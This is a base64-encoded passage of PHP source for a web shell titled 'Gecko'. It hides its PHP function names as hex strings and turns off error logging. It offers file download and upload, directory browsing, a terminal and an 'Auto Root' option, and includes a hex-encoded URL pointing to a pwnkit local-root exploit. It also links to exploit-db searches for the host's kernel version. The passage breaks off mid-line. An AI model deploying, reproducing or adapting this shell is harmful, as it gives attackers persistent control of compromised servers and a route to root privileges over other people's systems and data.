ZiBpIGwgZSA9PiAzMQogICAgJzZkNzU2Yzc0Njk3MDYxNzI3NDJmNjY2ZjcyNmQyZDY0NjE3NDYxJywgLy8gbSB1IGwgdCBpIHAgYSByIHQgLyBmIG8gciBtIGQgYSB0IGEgPT4gMzIKICAgICc0NDRmNDM1NTRkNDU0ZTU0NWY1MjRmNGY1NCcsIC8vIHIgbyBvIHQgZCBvIGMgPT4gMzMgCiAgICAnNjg3NDc0NzA3MzNhMmYyZjc3Nzc3NzJlNjg2MTc4NmY3MjY0Njk3MzZjNjE2ZTY0MmU3NDY1NjM2ODJmNmM2ZjYzNjE2YzcyNmY2Zjc0MmY3MDc3NmU2YjY5NzQnIC8vIFNvdXJjZSBtYXliZT8gPT4gMzQKXTsKJGhpdHVuZ19hcnJheSA9IGNvdW50KCRBcnJheSk7CmZvciAoJGkgPSAwOyAkaSA8ICRoaXR1bmdfYXJyYXk7ICRpKyspIHsKICAgICRmdW5nc2lbXSA9IHVuaGV4KCRBcnJheVskaV0pOwp9CgppZiAoIWVtcHR5KCRfR0VUWydkb3dubG9hZCddKSkgewogICAgJG5hbWVOeWFmaWxlID0gYmFzZW5hbWUoJF9HRVRbJ2Rvd25sb2FkJ10pOwogICAgJHBhdGhGaWxlbnlhID0gJGZ1bmdzaVs5XSgpIC4gIi8iIC4gJG5hbWVOeWFmaWxlOwogICAgaWYgKCFlbXB0eSgkbmFtZU55YWZpbGUpICYmIGZpbGVfZXhpc3RzKCRwYXRoRmlsZW55YSkpIHsKCiAgICAgICAgLy8gRGVmaW5lIEhlYWRlcnMKICAgICAgICBoZWFkZXIoJ0NhY2hlLWNvbnRyb2w6IHB1YmxpYycpOwogICAgICAgIGhlYWRlcignQ29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2ZlcicpOwogICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInIC4gJG5hbWVOeWFmaWxlIC4gJyInKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpOwogICAgICAgIC8qKlpITm5jMlJtWjJWeWRITmtabWR6WkdabmMyUm1aM05rWm1kelpHWm4qKi8KICAgICAgICByZWFkZmlsZSgkcGF0aEZpbGVueWEpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCgo/PgoKPCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgogICAgPHRpdGxlPkdlY2tvIFsgPD89ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsgPz4gXTwvdGl0bGU+CiAgICA8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9ImxvZ28ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPHNjcmlwdCBzcmM9J2h0dHBzOi8va2l0LmZvbnRhd2Vzb21lLmNvbS8wNTdiOWI1MTBjLmpzJyBjcm9zc29yaWdpbj0nYW5vbnltb3VzJz48L3NjcmlwdD4KICAgIDxzdHlsZT4KICAgICAgICBAaW1wb3J0IHVybCgnaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1QcmVzcytTdGFydCsyUCZkaXNwbGF5PXN3YXAnKTsKCiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMxQTFBMUQ7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIGEgewogICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIHRyIHRoIHsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsKICAgICAgICAgICAgcGFkZGluZzogMTBweDsKICAgICAgICB9CgogICAgICAgIHRyIHRkOm50aC1jaGlsZCgzKSB7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICB9CgogICAgICAgIHRyIHRkIHsKICAgICAgICAgICAgcGFkZGluZzogMTBweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgfQoKICAgICAgICB0aGVhZCB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyOTI5MmU7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIHVsIHsKICAgICAgICAgICAgbGlzdC1zdHlsZTogbm9uZTsKICAgICAgICB9CgogICAgICAgIHVsIGxpIHsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgfQoKICAgICAgICBoMSB7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnTmFudW0gQnJ1c2ggU2NyaXB0JywgY3Vyc2l2ZTsKCiAgICAgICAgfQoKICAgICAgICB0Ym9keSB0cjpudGgtY2hpbGQoZXZlbikgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjkyOTJlOwogICAgICAgIH0KCiAgICAgICAgLnB3ZCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDVweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzI5MjkyZTsKICAgICAgICB9CgogICAgICAgIGZvcm0gbGkgewogICAgICAgICAgICBtYXJnaW46IDE1cHg7CiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAtNXB4OwogICAgICAgIH0KCiAgICAgICAgZm9ybSBsaSBpbnB1dFt0eXBlPSJmaWxlIl0gewogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZDsKICAgICAgICAgICAgcGFkZGluZzogMy41cHggNHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjkyOTJlOwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsKICAgICAgICB9CgogICAgICAgIC51cGxvYWQtc3VibWl0IHsKICAgICAgICAgICAgZmxvYXQ6IGxlZnQ7CiAgICAgICAgICAgIHBhZGRpbmc6IDYuNHB4IDUwcHg7CiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMTBweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyOTI5MmU7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgY29sb3I6ICMxZTlmYzc7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDEuNXB4IDEuNXB4ICMzMDMwMzg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICB9CgogICAgICAgIC51cGxvYWQtc3VibWl0OmhvdmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Q1ZGJkNjsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgIH0KCiAgICAgICAgLmxpbmstc2hlbGw6aG92ZXI6OmFmdGVyIHsKICAgICAgICAgICAgY29udGVudDogIiI7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCB3aGl0ZTsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IC03cHg7CiAgICAgICAgICAgIGFuaW1hdGlvbi1uYW1lOiBsaW5rLXNoZWxsOwogICAgICAgICAgICBhbmltYXRpb24tZHVyYXRpb246IDAuNnM7CiAgICAgICAgfQoKICAgICAgICBAa2V5ZnJhbWVzIGxpbmstc2hlbGwgewogICAgICAgICAgICBmcm9tIHsKICAgICAgICAgICAgICAgIHdpZHRoOiAwOwogICAgICAgICAgICB9CgogICAgICAgICAgICB0byB7CiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLnRvb2wtbWVudSBsaSB7CiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IG5vbmU7CiAgICAgICAgICAgIHBhZGRpbmc6IDEzcHggN3B4OwogICAgICAgIH0KCiAgICAgICAgLnRvb2wtbWVudSBsaSBhIHsKICAgICAgICAgICAgcGFkZGluZzogN3B4IDMwcHg7CiAgICAgICAgICAgIGNvbG9yOiAjMWU5ZmM3OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjkyOTJlOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzcHg7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDEuNXB4IDEuNXB4ICMzMDMwMzg7CiAgICAgICAgfQoKICAgICAgICAudG9vbC1tZW51IGxpIGE6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZDVkYmQ2OwogICAgICAgICAgICBjb2xvcjogYmxhY2s7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDEuNXB4IDEuNXB4ICNkNWRiZDY7CiAgICAgICAgfQoKICAgICAgICAubGlzdC10b29sIHsKICAgICAgICAgICAgcGFkZGluZzogMXB4OwogICAgICAgIH0KCiAgICAgICAgLnNldHRpbmdzIHsKICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0OwogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IC0yMDBweDsKCiAgICAgICAgfQoKICAgICAgICAuc2V0dGluZ3Mgc2VsZWN0IHsKICAgICAgICAgICAgcGFkZGluZzogNS41cHggMzVweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzMwMzAzODsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICB9CgogICAgICAgIC5zZWxlY3Qtc3VibWl0IHsKICAgICAgICAgICAgcGFkZGluZzogNi41cHggNTBweDsKICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAxMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzAzMDM4OwogICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4OwogICAgICAgIH0KCiAgICAgICAgLnNlbGVjdC1zdWJtaXQ6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZDVkYmQ2OwogICAgICAgICAgICBjb2xvcjogYmxhY2s7CiAgICAgICAgfQoKICAgICAgICAuYWN0aW9uLWdlY2tvOmhvdmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Q1ZGJkNjsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgIH0KCiAgICAgICAgLnRvb2wtbWVudS1oZWFkZXIgewogICAgICAgICAgICBtYXJnaW46IC0xM3B4IDBweDsKICAgICAgICB9CgogICAgICAgIC5jcmVhdGUgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDAsIDAsIDAsIDAuMyk7CiAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICAgICAgICAgIHRvcDogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgaGVpZ2h0OiAxMDB2aDsKICAgICAgICAgICAgd2lkdGg6IDEwMHZ3OwogICAgICAgICAgICBhbmltYXRpb246IG1vZGFsLWJveDsKICAgICAgICAgICAgYW5pbWF0aW9uLWR1cmF0aW9uOiAwLjVzOwogICAgICAgICAgICBhbmltYXRpb24tZmlsbC1tb2RlOiBib3RoOwoKICAgICAgICB9CgogICAgICAgIEBrZXlmcmFtZXMgbW9kYWwtYm94IHsKICAgICAgICAgICAgZnJvbSB7CiAgICAgICAgICAgICAgICBvcGFjaXR5OiAwOwogICAgICAgICAgICB9CgogICAgICAgICAgICB0byB7CiAgICAgICAgICAgICAgICBvcGFjaXR5OiAxOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAubW9kYWwgewogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgICAgICB3aWR0aDogNjAwcHg7CiAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTsKICAgICAgICAgICAgcGFkZGluZzogMThweDsKICAgICAgICB9CgogICAgICAgIC5tb2RhbCBhIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzI5MjkyZTsKICAgICAgICAgICAgcGFkZGluZzogOHB4IDE1cHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICB9CgogICAgICAgIC5tb2RhbCB1bCB7CiAgICAgICAgICAgIGZsb2F0OiByaWdodDsKICAgICAgICB9CgogICAgICAgIC5tb2RhbCB1bCBsaSB7CiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZTsKICAgICAgICB9CgogICAgICAgIC5idG4tbW9kYWwgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjkyOTJlOwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICAgICAgcGFkZGluZzogOHB4IDE1cHg7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICB9CgogICAgICAgIC5tb2RhbCBpbnB1dFt0eXBlPSJ0ZXh0Il0gewogICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgaGVpZ2h0OiAzMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzcHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIGJsYWNrOwogICAgICAgIH0KCiAgICAgICAgLmZ3LWJvbGQgewogICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsKICAgICAgICB9CgogICAgICAgIC5maWxlLXNpemUgewogICAgICAgICAgICBjb2xvcjogIzFlOWZjNzsKICAgICAgICB9CgogICAgICAgIHRoIHsKICAgICAgICAgICAgY29sb3I6ICMxZTlmYzc7CiAgICAgICAgfQoKICAgICAgICAuZmEtZm9sZGVyIHsKICAgICAgICAgICAgY29sb3I6IG9yYW5nZTsKICAgICAgICB9CgogICAgICAgIC5mYS1maWxlIHsKICAgICAgICAgICAgY29sb3I6ICMxZTlmYzc7CiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtY29udGVudCB7CiAgICAgICAgICAgIHotaW5kZXg6IDEwOwogICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgIHRvcDogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgcmlnaHQ6IDA7CiAgICAgICAgICAgIGJvdHRvbTogMDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGhlaWdodDogMTAwdmg7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMCwgMCwgMC41KTsKICAgICAgICAgICAgYW5pbWF0aW9uOiBtb2RhbC1ib3g7CiAgICAgICAgICAgIGFuaW1hdGlvbi1kdXJhdGlvbjogMC41czsKICAgICAgICAgICAgYW5pbWF0aW9uLWZpbGwtbW9kZTogYm90aDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtYm9keSB7CiAgICAgICAgICAgIG1hcmdpbjogYXV0bzsKICAgICAgICAgICAgbWFyZ2luLXRvcDogNjBweDsKICAgICAgICAgICAgei1pbmRleDogMjA7CiAgICAgICAgICAgIHdpZHRoOiA5MCU7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHdoaXRlOwogICAgICAgICAgICBoZWlnaHQ6IDY1dmg7CiAgICAgICAgICAgIGNvbG9yOiBibGFjazsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgIH0KCiAgICAgICAgLnRlcm1pbmFsLWJvZHkgaGVhZGVyIHsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBwYWRkaW5nOiA0cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxQTFBMUQ7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1ib2R5IGhlYWRlciBhIHsKICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0OwogICAgICAgICAgICBjb2xvcjogYmxhY2s7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogbGFyZ2U7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHdoaXRlOwogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgICAgICAgIHotaW5kZXg6IDExOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IC00NXB4OwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDMwcHg7CiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtYm9keSBoZWFkZXIgYTpob3ZlciB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyOTI5MmU7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzMwMzAzODsKICAgICAgICB9CgogICAgICAgIC5vdXRwdXQtdGVybWluYWwgewogICAgICAgICAgICB3aWR0aDogOTkuNSU7CiAgICAgICAgICAgIGhlaWdodDogMTAwJTsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1pbnB1dCB7CiAgICAgICAgICAgIHdpZHRoOiA5MCU7CiAgICAgICAgICAgIHBhZGRpbmc6IDZweDsKICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDFweDsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQgYmxhY2s7CiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtc3VibWl0IHsKICAgICAgICAgICAgbWFyZ2luOiAyLjVweDsKICAgICAgICAgICAgcGFkZGluZzogNy41cHggMjVweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzcHg7CiAgICAgICAgfQoKICAgICAgICAucHdkLWJvZHkgewogICAgICAgICAgICBwYWRkaW5nOiAxNXB4IDhweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgfQoKCiAgICAgICAgLmJvcmRlciB7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIGJsYWNrOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAycHg7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1ib3ggewogICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBoZWlnaHQ6IDEwMHZoOwogICAgICAgICAgICB0b3A6IDA7CiAgICAgICAgICAgIGJvdHRvbTogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgcmlnaHQ6IDA7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMCwgMCwgMC41KTsKICAgICAgICAgICAgei1pbmRleDogMTsKICAgICAgICB9CgogICAgICAgIC5maWxlLWNvbnRlbnQgewogICAgICAgICAgICB3aWR0aDogOTAlOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgaGVpZ2h0OiA3MCU7CiAgICAgICAgICAgIG1hcmdpbjogYXV0bzsKICAgICAgICAgICAgbWFyZ2luLXRvcDogMjBweDsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgIH0KCiAgICAgICAgLmZpbGUtY29udGVudCB0ZXh0YXJlYSB7CiAgICAgICAgICAgIHdpZHRoOiA5OS41JTsKICAgICAgICAgICAgaGVpZ2h0OiA3MHZoOwogICAgICAgIH0KCiAgICAgICAgLmZpbGUtaGVhZGVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzFBMUExRDsKICAgICAgICAgICAgcGFkZGluZzogMTVweDsKICAgICAgICB9CgogICAgICAgIC5maWxlLWhlYWRlciB1bCB7CiAgICAgICAgICAgIGxpc3Qtc3R5bGU6IG5vbmU7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1oZWFkZXIgbGkgewogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7CiAgICAgICAgICAgIG1hcmdpbjogMHB4IDMwcHg7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1oZWFkZXIgbGk6bnRoLWNoaWxkKDMpIHsKICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0OwogICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IC01cHg7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1oZWFkZXIgbGk6bnRoLWNoaWxkKDMpIGEgewogICAgICAgICAgICBjb2xvcjogYmxhY2s7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogbGFyZ2U7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHdoaXRlOwogICAgICAgICAgICB6LWluZGV4OiAxMTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDMwcHg7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1oZWFkZXIgbGk6bnRoLWNoaWxkKDMpIGE6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjkyOTJlOwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMzMDMwMzg7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1oZWFkZXIgbGkgYnV0dG9uIHsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOwogICAgICAgICAgICBiYWNrZ3JvdW5kOiB3aGl0ZTsKICAgICAgICAgICAgZm9udC1zaXplOiAxNXB4OwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB3aGl0ZTsKICAgICAgICAgICAgcGFkZGluZzogMTBweCAxNXB4OwogICAgICAgICAgICBtYXJnaW46IC0xMHB4IC0xNXB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgfQoKICAgICAgICAubGluay1yZW5hbWUgewogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDE1cHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHdoaXRlOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbjogLTEwcHggLTE1cHg7CiAgICAgICAgfQogICAgPC9zdHlsZT4KPC9oZWFkPgo8P3BocApAc2V0X3RpbWVfbGltaXQoMCk7CkBjbGVhcnN0YXRjYWNoZSgpOwpAaW5pX3NldCgnZXJyb3JfbG9nJywgTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CgoKZnVuY3Rpb24gUmVkaXJlY3QoJHVybCwgJHBlcm1hbmVudCA9IGZhbHNlKQp7CiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHVybCwgdHJ1ZSwgJHBlcm1hbmVudCA/IDMwMSA6IDMwMik7CgogICAgZXhpdCgpOwp9CgoKCmlmIChpc3NldCgkX0dFVFsnZGlyJ10pKSB7CiAgICAkY2RpciA9IHVuaGV4KCRfR0VUWydkaXInXSk7CiAgICAkZnVuZ3NpWzEwXSgkY2Rpcik7Cn0gZWxzZSB7CiAgICAkY2RpciA9ICRmdW5nc2lbOV0oKTsKfQokZ2V0X2N3ZCA9ICRmdW5nc2lbOV0oKTsKJHNjZGlyID0gJGZ1bmdzaVsxNl0oInsuWyEuXSx9KiIsIEdMT0JfQlJBQ0UpOwoKPz4KCjxib2R5PgogICAgPGRpdiBjbGFzcz0ibGlzdC1zaGVsbCI+CiAgICAgICAgPHVsPgogICAgICAgICAgICA8bGk+PD89ICRmdW5nc2lbMTFdKCk7ID8+PC9saT4KICAgICAgICAgICAgPGxpPjw/PSAkX1NFUlZFUlskZnVuZ3NpWzIzXV07ID8+PC9saT4KICAgICAgICAgICAgPGxpPlNlcnZlciBJUCA6IDw/PSAkX1NFUlZFUlsnU0VSVkVSX0FERFInXTsgPz4gJiBZb3VyIElQIDogPD89ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaT5Eb21haW5zIDogPD89IHN5bWxpbmtEb21haW4oKTsgPz48L2xpPgogICAgICAgICAgICA8bGk+CiAgICAgICAgICAgICAgICBVc2VyIDogPD89ICRmdW5nc2lbMjJdKCk7ID8+CiAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Ijw/PSAkZnVuZ3NpWzMyXSA/PiI+CiAgICAgICAgICAgICAgICA8bGk+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImdlY2tvLWZpbGUiIGlkPSIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJ1cGxvYWQtc3VibWl0IiBuYW1lPSJ1cGxvYWQtc3VibWl0IiB2YWx1ZT0iVXBsb2FkIj48L2xpPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgPC91bD4KICAgICAgICA8ZGl2IGNsYXNzPSJ0b29sLW1lbnUtaGVhZGVyIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibGlzdC10b29sIj4KICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0idG9vbC1tZW51Ij4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Rpcj08Pz0gaGV4KCRmdW5nc2lbOV0oKSk7ID8+JmFjdGlvbj10ZXJtaW5hbCIgY2xhc3M9IiI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXRlcm1pbmFsIj48L2k+Jm5ic3A7VGVybWluYWw8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Rpcj08Pz0gaGV4KCRmdW5nc2lbOV0oKSk7ID8+JmFjdGlvbj1yb290LXRlcm1pbmFsIiBjbGFzcz0iIj48aSBjbGFzcz0iZmEtc29saWQgZmEtY29kZSI+PC9pPiZuYnNwO0F1dG8gUm9vdDwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZGlyPTw/PSBoZXgoJGZ1bmdzaVs5XSgpKTsgPz4mY3JlYXRlPWZpbGUiIGNsYXNzPSIiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1maWxlLWNpcmNsZS1wbHVzIj48L2k+Jm5ic3A7Q3JlYXRlIEZpbGU8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Rpcj08Pz0gaGV4KCRmdW5nc2lbOV0oKSk7ID8+JmNyZWF0ZT1mb2xkZXIiIGNsYXNzPSIiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1mb2xkZXItcGx1cyI+PC9pPiZuYnNwO0NyZWF0ZSBGb2xkZXI8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iaHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vc2VhcmNoP3E9TGludXglMjBLZXJuZWwlMjA8Pz0gbGludXhfdmVyc2lvbigpOyA/PiIgY2xhc3M9IiI+PGkgY2xhc3M9ImZhLXNv